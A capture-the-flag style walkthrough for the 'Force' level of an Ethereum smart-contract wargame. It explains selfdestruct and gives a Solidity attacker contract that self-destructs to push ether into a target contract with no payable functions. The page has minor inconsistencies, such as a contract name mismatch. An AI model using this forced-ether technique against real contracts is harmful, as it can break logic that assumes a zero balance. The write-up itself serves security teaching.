Page cover image

Force

selfdestruct

Description

Some contracts will simply not take your money ¯\_(ツ)_/¯

The goal of this level is to make the balance of the contract greater than zero.

Things that might help:

  • Fallback methods

  • Sometimes the best way to attack a contract is with another contract.

  • See the Help page above, section "Beyond the console"

Background Knowledge

selfdestruct

selfdestruct is big red button that lets you abandon your smart contract and move all remaining Ethers to another address (beneficiary).

Contract owners typically include a selfdestruct option to be called in the following scenarios:

  • To deprecate buggy contracts

    • When there is a bug or undesired aspect of a smart contract, the creators can then destroy the contract and forward remaining Ethers to a backup address.

  • To clean up used contracts that become obsolete

    • This is seen as a best practice to free up storage on Ethereum blockchain.

A example of how selfdestruct is often implemented:

function close() public onlyOwner {
    //recommended: emit an event as well
    selfdestruct(owner);
}

Code Audit

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

What a Mimikatz.

Solution

Write a selfdestruct contract in Remix IDE:

contract ToBeDestroyed {

    // Allow this contract to receive some ether
    function collect() public payable returns(uint) {  
        return address(this).balance;  
    }

    // selfdestruct to forward all ether to the target contract
    function destroy() public {  
        address addr = 0x0d6666733247CCe3adD95743010fD875a35dcf81;
        selfdestruct(addr);  
    }
}

Deploy ForceSend. Specify "Value" to be 1 wei and feed in the target contract address:

Click "Submit instance" and move on to the next level.

Summary

In solidity, for a contract to be able to receive ether, the fallback function must be marked payable.

However, there is no way to stop an attacker from sending ether to a contract by self destroying. Hence, it is important not to count on the invariant address(this).balance == 0 for any contract logic.

Last updated